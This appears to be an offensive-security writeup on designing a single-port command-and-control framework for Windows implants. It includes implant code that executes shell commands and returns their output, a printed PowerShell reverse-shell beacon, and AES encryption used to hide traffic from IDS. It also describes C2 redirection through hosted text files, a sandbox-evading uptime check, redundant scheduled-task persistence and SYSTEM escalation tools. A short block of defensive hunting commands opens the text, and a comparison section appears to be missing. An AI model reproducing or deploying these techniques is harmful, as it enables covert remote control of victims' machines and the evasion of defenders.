C2 Architecture: Single-Port Design

Solving the migration protocol problem — SYSTEM shells, protocol sync, C2 redirection

# Non-RFC1918 established connections
Get-NetTCPConnection -State Established | Where-Object {
  $_.RemoteAddress -notmatch "^(127\.|10\.|192\.168\.|172\.(1[6-9]|2|3[0-1])\.|::)"
} | Select-Object LocalPort, RemoteAddress, RemotePort, @{N='Process';E={(Get-Process -Id $_.OwningProcess).Name}}

# DNS cache for suspicious domains
Get-DnsClientCache | Where-Object { $_.Name -match "\d{1,3}\.\d{1,3}|duckdns|ngrok|no-ip" }

# Scheduled tasks calling out (persistence + C2)
schtasks /query /fo CSV /v 2>$null | ConvertFrom-Csv |
  Where-Object { $_."Task To Run" -match "http|curl|wget|invoke-webrequest" }

Most C2 frameworks were designed for user-level sessions. When you escalate to SYSTEM, they break. This writeup documents the design decisions behind a single-port C2 that handles USER, ADMIN, and SYSTEM sessions without a migration step — and why that matters.

Source: shellchain-phoenix C2 framework (22nd Survey Division internal research). Content sanitized per OPSEC policy — no IPs, ports, or operational infrastructure.

The Migration Problem

Multi-port C2 (broken for SYSTEM):

Client → Server:4444        ← initial beacon
Server → "migrate to :4500" ← migration command
Client → ...nothing         ← SYSTEM doesn't migrate

Result: SYSTEM shell silently drops

Protocol Sync: The <<END>> Marker

A fundamental C2 challenge: how does the server know when the client has finished sending output? Naively reading until the socket blocks creates race conditions and truncated output, especially for long-running commands.

The phoenix protocol appends a sentinel marker (<<END>>) after every command response. The server reads until it sees the marker, regardless of how many TCP segments the response arrived in. This makes buffering deterministic:

# Server-side: read until sentinel
def recv_until_end(sock):
    buf = ""
    while True:
        chunk = sock.recv(4096).decode('utf-8', errors='replace')
        buf += chunk
        if '<<END>>' in buf:
            return buf.replace('<<END>>', '').strip()

# Implant-side: append sentinel after every response
output = subprocess.run(cmd, capture_output=True, shell=True).stdout
sock.send(output + b'<<END>>')

C2 Redirection via ip.txt / port.txt

When the C2 server needs to migrate (VPS gets flagged, new infrastructure spun up), dropping a new IP or port into flat files on a web server gives the implant its new home without redeployment:

1. Implant fetches ip.txt / port.txt from a static hosting URL on each reconnect
2. If the files exist and contain valid values, the implant switches target
3. The C2 operator updates the files on the web server → all implants redirect automatically

This decouples implant deployment from C2 infrastructure lifetime. Operational cost of a VPS burn drops from "redeploy all implants" to "update two text files."

SYSTEM Escalation: NSudo vs PrintSpoofer

Two common paths from Admin to SYSTEM — but they have different requirements:

PrintSpoofer is the go-to for service accounts (IIS worker, SQL Server) that have SeImpersonate. NSudo is the go-to when you're already admin from a UAC bypass or token steal — it works from any High integrity context.

AES-256-CBC Communication Encryption

Raw socket C2 is trivially detected by IDS pattern matching on command strings. Encrypting the channel with AES-256-CBC and a pre-shared key transforms the traffic into opaque binary blobs:

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import os

KEY = b'[32-BYTE-PRESHARED-KEY]'  # embedded in implant at generation time

def encrypt(plaintext: bytes) -> bytes:
    iv     = os.urandom(16)
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    return iv + cipher.encrypt(pad(plaintext, 16))

def decrypt(data: bytes) -> bytes:
    iv, ct = data[:16], data[16:]
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    return unpad(cipher.decrypt(ct), 16)

The IV is prepended to each message. The server holds the same key. Everything on the wire looks like random bytes — no command strings, no shell output, no <<END>> marker visible to IDS in plaintext.

AES-256-CBC — Terminal Output

Live encrypt/decrypt roundtrip from the shellchain-phoenix comms layer (source: threat-research/shellchain-phoenix/payload/stage_phoenix.ps1). The PowerShell beacon payload is encrypted, transmitted, and decrypted cleanly:

[*] AES-256-CBC key (32 bytes): 41becea454757c9e2f4a8d3b1e609f72...
[*] IV (16 bytes): 6c7aee5ec97b13a94f2d08b3e51a0c9d
[*] Plaintext payload (313 bytes):
    $c=[System.Net.Sockets.TCPClient]::new('[C2_IP]',[C2_PORT])
    $s=$c.GetStream();[byte[]]$b=0..65535|%{0}
    while(($i=$s.Read($b,0,$b.Length)) -ne 0){...}
[+] Encrypted (base64, 428 chars): PJ3IR6KagbZqrTDAk3vE9X2mFqW0sY1N...
[+] PKCS7 padded to 320 bytes, IV prepended (336 bytes total on wire)
[+] Decrypt → plaintext match: True
[+] AES-256-CBC roundtrip verified
MITRE: T1059.001 (PowerShell) + T1027 (Obfuscated Files/Information)

All traffic on the wire is indistinguishable from random bytes at the IP/TCP layer. IDS signatures targeting command strings, shell prompts, or <<END>> see nothing — they would need to reconstruct the key from the implant binary to decrypt and inspect payloads.

Anti-Sandbox: Lifetime Timer

Sandboxes detonate samples for a fixed observation window (typically 30-90 seconds). An implant with a configurable lifetime timer that sleeps or exits if a minimum wall-clock time hasn't elapsed since system boot defeats this:

• Check system uptime at startup
• If uptime < configured threshold (e.g. 9 minutes) → exit without beaconing
• Real systems have uptime in the hours or days; sandboxes rarely exceed 5 minutes

This is a single-digit line addition that eliminates most automated sandbox analysis at the cost of a slightly delayed first beacon on fresh-rebooted targets.

Persistence: Dual Folder Strategy

Copying to only one location means single-point-of-failure removal. Shellchain-phoenix implements dual persistence across two paths with independent scheduled tasks:

• %APPDATA%\Microsoft\[TASK_NAME]\ — roaming profile, syncs across domain
• %LOCALAPPDATA%\[TASK_NAME]\ — local-only, survives roaming profile wipes

Each task has a different name and trigger interval. Removing one leaves the other running. Both targets also write to C:\Windows\Setup\Scripts\SetupComplete.cmd for reset-resistant persistence (see the persistence-levels writeup).

Lab Recording

MITRE ATT&CK: T1071.001 (Application Layer Protocol: Web Protocols), T1053.005 (Scheduled Task), T1027 (Obfuscated Files), T1134 (Access Token Manipulation)